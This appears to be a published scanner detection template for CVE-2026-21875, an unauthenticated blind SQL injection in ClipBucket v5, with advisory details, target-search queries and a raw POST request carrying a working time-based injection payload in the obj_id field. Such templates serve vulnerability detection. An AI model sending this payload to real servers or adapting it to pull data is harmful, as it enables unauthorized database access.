ClipBucket v5 <= 5.5.2 - Unauthenticated Blind SQL Injection
CVE-2026-21875
Early Release
Description
ClipBucket v5.5.2-#187 and below contain a blind SQL injection caused by unsanitized obj_id parameter in /actions/ajax.php used in user_exists function, letting attackers perform blind SQL injection remotely, exploit requires crafted POST request.
Severity
Critical
CVSS Score
9.8
Affected Product
clipbucket
Published Date
September 1, 2026
Template Author
str4k3r, 0x_akoko
CVE-2026-21875.yaml
id: CVE-2026-21875
info:
name: ClipBucket v5 <= 5.5.2 - Unauthenticated Blind SQL Injection
author: str4k3r,0x_Akoko
severity: critical
description: |
ClipBucket v5.5.2-#187 and below contain a blind SQL injection caused by unsanitized obj_id parameter in /actions/ajax.php used in user_exists function, letting attackers perform blind SQL injection remotely, exploit requires crafted POST request.
impact: |
Attackers can perform blind SQL injection to extract or manipulate database information remotely.
remediation: |
Update to the latest version once a fix is available.
reference:
- https://github.com/MacWarrior/clipbucket-v5/security/advisories/GHSA-crpv-fmc4-j392
- https://nvd.nist.gov/vuln/detail/CVE-2026-21875
classification:
cve-id: CVE-2026-21875
cwe-id: CWE-89
cvss-score: 9.8
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
metadata:
verified: true
max-request: 2
vendor: macwarrior
product: clipbucket
shodan-query: http.html:"ClipBucket"
fofa-query: body="ClipBucket" || body="clipbucket"
tags: cve,cve2026,clipbucket,sqli,blind-sqli,time-based,unauth
flow: http(1) && http(2)
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains_any(tolower(body), "clipbucket", "cb_v5", "clip-bucket")'
condition: and
internal: true
- raw:
- |
@timeout: 10s
POST /actions/ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
mode=add_comment&type=channel&reply_to=1&obj_id=999999%27%20OR%20(userid%3D1%20AND%20SLEEP(6))--%20-&name=test&email=test%40gmail.com&comment=testing
matchers:
- type: dsl
dsl:
- 'status_code == 200'
- 'contains(body, "channel_not_exist")'
- 'duration >= 6'
condition: and
# digest: 4a0a00473045022100a031c3d9d6f5375bbe5d874a06a1a3362182c1339b6c404dc5ec41d3e71688b7022038763e891b60e3e38596324d1749f0c124fcd0aed3105af3b589f34e4345f3b8:922c64590222798bb761d5b6d8e729509.8Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
CVE ID:
cve-2026-21875
CWE ID:
cwe-89
Remediation Steps
Update to the latest version once a fix is available.